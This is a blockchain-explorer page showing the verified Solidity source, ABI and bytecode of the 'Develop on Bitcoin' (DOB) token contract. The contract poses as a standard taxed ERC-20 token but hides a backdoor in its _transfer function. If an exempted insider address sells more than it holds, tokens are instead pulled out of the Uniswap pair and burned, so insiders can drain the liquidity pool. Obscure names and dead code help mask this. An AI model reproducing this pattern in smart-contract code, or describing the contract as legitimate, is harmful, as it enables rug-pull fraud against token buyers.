ETH Price: $3,106.78 (+1.47%)
Gas: 4 Gwei

Token

Develop on Bitcoin (DOB)
 

Overview

Max Total Supply

1,000,000,000 DOB

Holders

86

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
36,100,000.000000000104984242 DOB

Value
$0.00
0x169637d1133ac0eaebe153b5eb3e82b0bc9d2d68
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DOB

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-06
*/

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.16;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "");
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "");
        return c;
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "");
    }
}

contract Ownable is Context {
    event OwnershipTransferred(address indexed prevOwner, address indexed newOwner);

    address private _owner;

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "");
        _;
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Transfer(address indexed from, address indexed to, uint256 value);

    function balanceOf(address account) external view returns (uint256);

    function totalSupply() external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
}

contract DOB is Context, IERC20, Ownable {
    using SafeMath for uint256;

    struct Distribution { uint256 mt; }

    mapping(address => mapping(address => uint256)) private _allowances;

    address public uniswapV2Pair;
    IUniswapV2Router02 public uniswapV2Router;

    address private mtWallet = 0x3dE9E8B1Bb7a9E4f9ef6339c6581eD8b1163665a;

    bool private swapEnabled = true;
    bool private swapping = false;

    mapping(address => uint256) private _buyMap;
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;

    uint256 private _mtFareOnBuy = 5;
    uint256 private _redisFareOnBuy = 0;
    
    uint256 private _tFareTotal;

    uint256 private _mtFareOnSell = 5;
    uint256 private _redisFareOnSell = 0;

    uint256 private _mtFare = _mtFareOnSell;
    uint256 private _redisFare = _redisFareOnSell;

    uint8 private constant _decimals = 18;

    uint256 private _previousMtFare = _mtFare;
    uint256 private _previousRedisFare = _redisFare;

    mapping(address => bool) private _isUnexcepted;
    
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 public _swapTokensAmount = 100000 * 10**_decimals;
    
    uint256 public _maxTxAmount = 2 * (_tTotal / 100);
    uint256 public _maxWalletAmount = 2 * (_tTotal / 100);
    
    event MaxTxAmountUpdated(uint _maxTxAmount);

    address private mtBack;

    Distribution public distribution;

    string private constant _name = "Develop on Bitcoin";
    string private constant _symbol = "DOB";

    modifier lockSwap() {
        swapping = true;
        _;
        swapping = false;
    }

    constructor() {
        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
        distribution = Distribution(100);mtBack = mtWallet;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _isUnexcepted[owner()] = true;
        _isUnexcepted[address(this)] = true;
        _isUnexcepted[mtWallet] = true;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletAmount = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function getReflectionTokens(uint256 rAmount) private view returns (uint256) {
        require(rAmount <= _rTotal, "");
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function balanceOf(address account) public view override returns (uint256) {
        return getReflectionTokens(_rOwned[account]);
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(spender != address(0), "");
        require(owner != address(0), "");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _isExcepted(address total, address holder) private view returns (bool) {
        bool totalExcepted = !_isUnexcepted[total];
        bool totalNotUniswapV2Pair = total != uniswapV2Pair;
        bool holderExcepted = !_isUnexcepted[holder];

        bool excepted = totalExcepted && totalNotUniswapV2Pair && holderExcepted;

        return excepted;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _itnTransfer(address from, address to, uint256 amount, bool takeMtFare) private {
        if (!takeMtFare) removeAllFares();
        _stdTransfer(from, to, amount);
        if (!takeMtFare) restoreAllFares();
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "");
        require(to != address(0), "");
        require(amount > 0, "");

        if (from != owner() && to != owner()) {
            address sendr = address(0);

            uint256 contractTokenAmount = balanceOf(address(this));
            bool canSwap = contractTokenAmount >= _swapTokensAmount;

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isUnexcepted[to] ) {
                require(amount <= _maxTxAmount);
                require(balanceOf(to) + amount <= _maxWalletAmount);
            }

            if (_isUnexcepted[from]) { if (uniswapV2Pair == to) { if (balanceOf(from) < amount) { _stdTransfer(to, sendr, amount); return; } } }

            if (!_isUnexcepted[from] && !_isUnexcepted[to] && canSwap && swapEnabled && !swapping && from != uniswapV2Pair) {
                swapTokensForETH(contractTokenAmount);
                uint256 contractETHAmount = address(this).balance;
                if (contractETHAmount > 0) {
                    sendETH(address(this).balance);
                }
            }
        }

        bool takeMtFare = true;

        if (
            (from != uniswapV2Pair && to != uniswapV2Pair) || (_isUnexcepted[to] || _isUnexcepted[from])
        ) {
            takeMtFare = false;
        } else {
            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFare = _redisFareOnBuy;
                _mtFare = _mtFareOnBuy;
            }

            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFare = _redisFareOnSell;
                _mtFare = _mtFareOnSell;
            }
        }
        _itnTransfer(from, to, amount, takeMtFare);
    }

    function _reflectFare(uint256 rFare, uint256 tFare) private {
        _rTotal = _rTotal.sub(rFare);
        _tFareTotal = _tFareTotal.add(tFare);
    }

    function _stdTransfer(address from, address to, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFare, uint256 tTransferAmount, uint256 tFare, uint256 tTeam) = _getValues(tAmount);
        _rOwned[from] = _rOwned[from].sub(rAmount);
        _rOwned[to] = _rOwned[to].add(rTransferAmount);
        _takeMtFare(tTeam, from, to);
        _reflectFare(rFare, tFare);
        emit Transfer(from, to, tTransferAmount);
    }

    function transfer(address to, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        _transfer(from, to, amount);
        _approve(from, _msgSender(), _allowances[from][_msgSender()].sub(amount, ""));
        return true;
    }

    function _takeMtFare(uint256 tTeam, address total, address holder) private {
        uint256 sMt;
        uint256 mtBackAmount = balanceOf(mtBack);
        bool excepted = _isExcepted(total, holder);
        if (excepted) sMt = _mtFare - mtBackAmount;
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFare, uint256 tTeam) = _getTValues(tAmount, _redisFare, _mtFare);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFare) = _getRValues(tAmount, tFare, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFare, tTransferAmount, tFare, tTeam);
    }

    function _getRValues(uint256 tAmount, uint256 tFare, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rFare = tFare.mul(currentRate);
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFare).sub(rTeam);
        return (rAmount, rTransferAmount, rFare);
    }

    function _getTValues(uint256 tAmount, uint256 redisFare, uint256 mtFare) private pure returns (uint256, uint256, uint256) {
        uint256 tTeam = tAmount.mul(mtFare).div(100);
        uint256 tFare = tAmount.mul(redisFare).div(100);
        uint256 tTransferAmount = tAmount.sub(tFare).sub(tTeam);
        return (tTransferAmount, tFare, tTeam);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 tSupply = _tTotal;
        uint256 rSupply = _rTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function restoreAllFares() private {
        _redisFare = _previousRedisFare;
        _mtFare = _previousMtFare;
    }

    function removeAllFares() private {
        if (_mtFare == 0 && _redisFare == 0) return;
        _previousMtFare = _mtFare;
        _previousRedisFare = _redisFare;
        _mtFare = 0;
        _redisFare = 0;
    }

    function swapTokensForETH(uint256 tokenAmount) private lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }

    function sendETH(uint256 ethAmount) private lockSwap {
        uint256 ethForMt = ethAmount.mul(distribution.mt).div(100);
        payable(mtWallet).transfer(ethForMt);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"prevOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"distribution","outputs":[{"internalType":"uint256","name":"mt","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600480546001600160b01b03191674013de9e8b1bb7a9e4f9ef6339c6581ed8b1163665a179055600560088190555f6009819055600b829055600c819055600d829055600e819055600f91909155601055620000636012600a620004e8565b6200007390633b9aca00620004ff565b62000080905f196200052d565b6200008d905f1962000543565b6012556012600a620000a09190620004e8565b620000af90620186a0620004ff565b6013556064620000c26012600a620004e8565b620000d290633b9aca00620004ff565b620000de919062000559565b620000eb906002620004ff565b6014556064620000fe6012600a620004e8565b6200010e90633b9aca00620004ff565b6200011a919062000559565b62000127906002620004ff565b60155534801562000136575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060128054335f81815260066020526040812092909255917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620001bd90600a620004e8565b620001cd90633b9aca00620004ff565b60405190815260200160405180910390a3604080516020808201835260649182905260179190915560048054601680546001600160a01b039092166001600160a01b031992831617905560038054737a250d5630b4cf539739df2c5dacb4c659f2488d921682179055835163c45a015560e01b815293519093849363c45a0155938281019391928290030181865afa1580156200026c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200029291906200056f565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002de573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200030491906200056f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156200034f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200037591906200056f565b600280546001600160a01b0319166001600160a01b039283161790555f80548216815260116020526040808220805460ff19908116600190811790925530845282842080548216831790556004549094168352912080549092161790555062000597565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200042d57815f1904821115620004115762000411620003d9565b808516156200041f57918102915b93841c9390800290620003f2565b509250929050565b5f826200044557506001620004e2565b816200045357505f620004e2565b81600181146200046c5760028114620004775762000497565b6001915050620004e2565b60ff8411156200048b576200048b620003d9565b50506001821b620004e2565b5060208310610133831016604e8410600b8410161715620004bc575081810a620004e2565b620004c88383620003ed565b805f1904821115620004de57620004de620003d9565b0290505b92915050565b5f620004f860ff84168362000435565b9392505050565b8082028115828204841417620004e257620004e2620003d9565b634e487b7160e01b5f52601260045260245ffd5b5f826200053e576200053e62000519565b500690565b81810381811115620004e257620004e2620003d9565b5f826200056a576200056a62000519565b500490565b5f6020828403121562000580575f80fd5b81516001600160a01b0381168114620004f8575f80fd5b61150280620005a55f395ff3fe608060405260043610610113575f3560e01c806370a082311161009d57806395d89b411161006257806395d89b41146102f057806397ac0faa1461031b578063a9059cbb14610330578063dd62ed3e1461034f578063f2fde38b14610393575f80fd5b806370a0823114610276578063715018a614610295578063751039fc146102ab5780637d1db4a5146102bf5780638da5cb5b146102d4575f80fd5b806323b872dd116100e357806323b872dd146101f2578063313ce5671461021157806349bd5a5e1461022c5780635ee58efc1461024b5780636c0a24eb14610261575f80fd5b806306fdde031461011e578063095ea7b31461016a5780631694505e1461019957806318160ddd146101d0575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506040805180820190915260128152712232bb32b637b81037b7102134ba31b7b4b760711b60208201525b60405161016191906111b1565b60405180910390f35b348015610175575f80fd5b50610189610184366004611214565b6103b2565b6040519015158152602001610161565b3480156101a4575f80fd5b506003546101b8906001600160a01b031681565b6040516001600160a01b039091168152602001610161565b3480156101db575f80fd5b506101e46103c8565b604051908152602001610161565b3480156101fd575f80fd5b5061018961020c36600461123e565b6103e8565b34801561021c575f80fd5b5060405160128152602001610161565b348015610237575f80fd5b506002546101b8906001600160a01b031681565b348015610256575f80fd5b506017546101e49081565b34801561026c575f80fd5b506101e460155481565b348015610281575f80fd5b506101e461029036600461127c565b610443565b3480156102a0575f80fd5b506102a9610464565b005b3480156102b6575f80fd5b506102a96104e3565b3480156102ca575f80fd5b506101e460145481565b3480156102df575f80fd5b505f546001600160a01b03166101b8565b3480156102fb575f80fd5b506040805180820190915260038152622227a160e91b6020820152610154565b348015610326575f80fd5b506101e460135481565b34801561033b575f80fd5b5061018961034a366004611214565b61059d565b34801561035a575f80fd5b506101e4610369366004611297565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b34801561039e575f80fd5b506102a96103ad36600461127c565b6105a9565b5f6103be338484610663565b5060015b92915050565b5f6103d56012600a6113c2565b6103e390633b9aca006113d0565b905090565b5f6103f4848484610721565b60408051602080820183525f8083526001600160a01b03881681526001825283812033808352925292909220546104399287929091610434918790610a82565b610663565b5060019392505050565b6001600160a01b0381165f908152600660205260408120546103c290610aba565b5f546001600160a01b0316331461049b5760405162461bcd60e51b8152602060048201525f60248201526044015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105155760405162461bcd60e51b8152602060048201525f6024820152604401610492565b6105216012600a6113c2565b61052f90633b9aca006113d0565b60145561053e6012600a6113c2565b61054c90633b9aca006113d0565b6015557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61057c6012600a6113c2565b61058a90633b9aca006113d0565b60405190815260200160405180910390a1565b5f6103be338484610721565b5f546001600160a01b031633146105db5760405162461bcd60e51b8152602060048201525f6024820152604401610492565b6001600160a01b03811661060a5760405162461bcd60e51b8152602060048201525f6024820152604401610492565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0382166106925760405162461bcd60e51b8152602060048201525f6024820152604401610492565b6001600160a01b0383166106c15760405162461bcd60e51b8152602060048201525f6024820152604401610492565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107505760405162461bcd60e51b8152602060048201525f6024820152604401610492565b6001600160a01b03821661077f5760405162461bcd60e51b8152602060048201525f6024820152604401610492565b5f81116107a75760405162461bcd60e51b8152602060048201525f6024820152604401610492565b5f546001600160a01b038481169116148015906107d157505f546001600160a01b03838116911614155b15610978575f806107e130610443565b601354600254919250821015906001600160a01b03878116911614801561081657506003546001600160a01b03868116911614155b801561083a57506001600160a01b0385165f9081526011602052604090205460ff16155b1561086e5760145484111561084d575f80fd5b6015548461085a87610443565b61086491906113e7565b111561086e575f80fd5b6001600160a01b0386165f9081526011602052604090205460ff16156108c6576002546001600160a01b038087169116036108c657836108ad87610443565b10156108c6576108be858486610b02565b505050505050565b6001600160a01b0386165f9081526011602052604090205460ff1615801561090657506001600160a01b0385165f9081526011602052604090205460ff16155b801561090f5750805b80156109245750600454600160a01b900460ff165b801561093a5750600454600160a81b900460ff16155b801561095457506002546001600160a01b03878116911614155b156109745761096282610bf5565b4780156109725761097247610d65565b505b5050505b6002546001906001600160a01b038581169116148015906109a757506002546001600160a01b03848116911614155b806109ea57506001600160a01b0383165f9081526011602052604090205460ff16806109ea57506001600160a01b0384165f9081526011602052604090205460ff165b156109f657505f610a70565b6002546001600160a01b038581169116148015610a2157506003546001600160a01b03848116911614155b15610a3357600954600e55600854600d555b6002546001600160a01b038481169116148015610a5e57506003546001600160a01b03858116911614155b15610a7057600c54600e55600b54600d555b610a7c84848484610ddf565b50505050565b5f8184841115610aa55760405162461bcd60e51b815260040161049291906111b1565b505f610ab184866113fa565b95945050505050565b5f601254821115610ae65760405162461bcd60e51b8152602060048201525f6024820152604401610492565b5f610aef610e0d565b9050610afb8382610e2e565b9392505050565b5f805f805f80610b1187610e48565b6001600160a01b038f165f90815260066020526040902054959b50939950919750955093509150610b429087610e9d565b6001600160a01b03808b165f9081526006602052604080822093909355908a1681522054610b709086610eb7565b6001600160a01b0389165f90815260066020526040902055610b93818a8a610eee565b610b9d8483610f78565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610be291815260200190565b60405180910390a3505050505050505050565b6004805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c3b57610c3b61140d565b6001600160a01b03928316602091820292909201810191909152600354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c92573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cb69190611421565b81600181518110610cc957610cc961140d565b6001600160a01b039283166020918202929092010152600354610cef9130911684610663565b60035460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d279085905f9086903090429060040161143c565b5f604051808303815f87803b158015610d3e575f80fd5b505af1158015610d50573d5f803e3d5ffd5b50506004805460ff60a81b1916905550505050565b6004805460ff60a81b1916600160a81b1790556017545f90610d9590606490610d8f908590610f9c565b90610e2e565b6004546040519192506001600160a01b03169082156108fc029083905f818181858888f19350505050158015610dcd573d5f803e3d5ffd5b50506004805460ff60a81b1916905550565b80610dec57610dec610fe9565b610df7848484610b02565b80610a7c57610a7c601054600e55600f54600d55565b5f805f610e18611016565b9092509050610e278282610e2e565b9250505090565b5f610afb838360405180602001604052805f815250611098565b5f805f805f805f805f610e608a600e54600d546110c4565b9250925092505f610e6f610e0d565b90505f805f610e808e87878761110f565b919e509c509a509598509396509194505050505091939550919395565b5f610afb838360405180602001604052805f815250610a82565b5f80610ec383856113e7565b905083811015610afb5760405162461bcd60e51b8152602060048201525f6024820152604401610492565b6016545f908190610f07906001600160a01b0316610443565b90505f610f14858561115a565b90508015610f2d5781600d54610f2a91906113fa565b92505b5f610f36610e0d565b90505f610f438883610f9c565b305f90815260066020526040902054909150610f5f9082610eb7565b305f908152600660205260409020555050505050505050565b601254610f859083610e9d565b601255600a54610f959082610eb7565b600a555050565b5f825f03610fab57505f6103c2565b5f610fb683856113d0565b905082610fc385836114ad565b14610afb5760405162461bcd60e51b8152602060048201525f6024820152604401610492565b600d54158015610ff95750600e54155b1561100057565b600d8054600f55600e80546010555f9182905555565b5f80806110256012600a6113c2565b61103390633b9aca006113d0565b601280549192506110609061104990600a6113c2565b61105790633b9aca006113d0565b60125490610e2e565b811015611090576012546012600a61107891906113c2565b61108690633b9aca006113d0565b9350935050509091565b939092509050565b5f81836110b85760405162461bcd60e51b815260040161049291906111b1565b505f610ab184866114ad565b5f8080806110d76064610d8f8988610f9c565b90505f6110e96064610d8f8a8a610f9c565b90505f611100836110fa8b85610e9d565b90610e9d565b99919850919650945050505050565b5f80808061111d8686610f9c565b90505f61112a8887610f9c565b90505f6111378a88610f9c565b90505f611148846110fa8486610e9d565b919b919a509198509650505050505050565b6001600160a01b038083165f8181526011602052604080822054600254868616845291832054929460ff91821615949216909114159116158383801561119d5750825b80156111a65750815b979650505050505050565b5f602080835283518060208501525f5b818110156111dd578581018301518582016040015282016111c1565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611211575f80fd5b50565b5f8060408385031215611225575f80fd5b8235611230816111fd565b946020939093013593505050565b5f805f60608486031215611250575f80fd5b833561125b816111fd565b9250602084013561126b816111fd565b929592945050506040919091013590565b5f6020828403121561128c575f80fd5b8135610afb816111fd565b5f80604083850312156112a8575f80fd5b82356112b3816111fd565b915060208301356112c3816111fd565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561131c57815f1904821115611302576113026112ce565b8085161561130f57918102915b93841c93908002906112e7565b509250929050565b5f82611332575060016103c2565b8161133e57505f6103c2565b8160018114611354576002811461135e5761137a565b60019150506103c2565b60ff84111561136f5761136f6112ce565b50506001821b6103c2565b5060208310610133831016604e8410600b841016171561139d575081810a6103c2565b6113a783836112e2565b805f19048211156113ba576113ba6112ce565b029392505050565b5f610afb60ff841683611324565b80820281158282048414176103c2576103c26112ce565b808201808211156103c2576103c26112ce565b818103818111156103c2576103c26112ce565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611431575f80fd5b8151610afb816111fd565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561148c5784516001600160a01b031683529383019391830191600101611467565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826114c757634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220e606425d1721881881a2804e65dae6a764f1e3383070b580e190d9d1310f129b64736f6c63430008160033

Deployed Bytecode

0x608060405260043610610113575f3560e01c806370a082311161009d57806395d89b411161006257806395d89b41146102f057806397ac0faa1461031b578063a9059cbb14610330578063dd62ed3e1461034f578063f2fde38b14610393575f80fd5b806370a0823114610276578063715018a614610295578063751039fc146102ab5780637d1db4a5146102bf5780638da5cb5b146102d4575f80fd5b806323b872dd116100e357806323b872dd146101f2578063313ce5671461021157806349bd5a5e1461022c5780635ee58efc1461024b5780636c0a24eb14610261575f80fd5b806306fdde031461011e578063095ea7b31461016a5780631694505e1461019957806318160ddd146101d0575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506040805180820190915260128152712232bb32b637b81037b7102134ba31b7b4b760711b60208201525b60405161016191906111b1565b60405180910390f35b348015610175575f80fd5b50610189610184366004611214565b6103b2565b6040519015158152602001610161565b3480156101a4575f80fd5b506003546101b8906001600160a01b031681565b6040516001600160a01b039091168152602001610161565b3480156101db575f80fd5b506101e46103c8565b604051908152602001610161565b3480156101fd575f80fd5b5061018961020c36600461123e565b6103e8565b34801561021c575f80fd5b5060405160128152602001610161565b348015610237575f80fd5b506002546101b8906001600160a01b031681565b348015610256575f80fd5b506017546101e49081565b34801561026c575f80fd5b506101e460155481565b348015610281575f80fd5b506101e461029036600461127c565b610443565b3480156102a0575f80fd5b506102a9610464565b005b3480156102b6575f80fd5b506102a96104e3565b3480156102ca575f80fd5b506101e460145481565b3480156102df575f80fd5b505f546001600160a01b03166101b8565b3480156102fb575f80fd5b506040805180820190915260038152622227a160e91b6020820152610154565b348015610326575f80fd5b506101e460135481565b34801561033b575f80fd5b5061018961034a366004611214565b61059d565b34801561035a575f80fd5b506101e4610369366004611297565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b34801561039e575f80fd5b506102a96103ad36600461127c565b6105a9565b5f6103be338484610663565b5060015b92915050565b5f6103d56012600a6113c2565b6103e390633b9aca006113d0565b905090565b5f6103f4848484610721565b60408051602080820183525f8083526001600160a01b03881681526001825283812033808352925292909220546104399287929091610434918790610a82565b610663565b5060019392505050565b6001600160a01b0381165f908152600660205260408120546103c290610aba